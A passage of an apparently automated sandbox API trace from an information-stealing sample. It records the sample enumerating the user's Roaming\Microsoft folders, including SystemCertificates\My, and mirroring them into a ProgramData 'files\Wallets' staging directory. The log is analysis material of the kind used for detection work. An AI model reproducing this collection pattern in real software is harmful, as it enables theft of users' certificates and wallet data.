lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\." [0052.291] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.291] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.291] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\" [0052.291] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\.." [0052.291] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\.." [0052.292] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.292] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.292] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.292] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\", lpString2="ContentStore.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" [0052.292] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\", lpString2="ContentStore.xml" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\ContentStore.xml") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" [0052.292] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.292] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.292] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.292] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0052.292] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech" [0052.292] lstrcmpW (lpString1="Speech", lpString2=".") returned 1 [0052.292] lstrcmpW (lpString1="Speech", lpString2="..") returned 1 [0052.292] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*.*" [0052.292] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a4c0 [0052.292] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\" [0052.292] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\." [0052.292] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\" [0052.292] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\." [0052.292] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.292] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.292] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech\\.." [0052.293] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Speech\\.." [0052.293] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.293] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.293] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.293] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.293] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.293] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0052.293] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" [0052.293] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1 [0052.293] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1 [0052.293] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*.*" [0052.293] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a180 [0052.293] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\." [0052.293] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\." [0052.293] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.293] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.293] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\" [0052.293] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\.." [0052.293] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" [0052.293] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\.." [0052.294] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.294] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.294] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.294] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\", lpString2="My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcmpW (lpString1="My", lpString2=".") returned 1 [0052.294] lstrcmpW (lpString1="My", lpString2="..") returned 1 [0052.294] lstrcpyW (in: lpString1=0x19d7ac, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*" [0052.294] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*.*", lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0x58a200 [0052.294] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\" [0052.294] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\." [0052.294] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\" [0052.294] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\SystemCertificates\\My\\." [0052.294] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.294] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 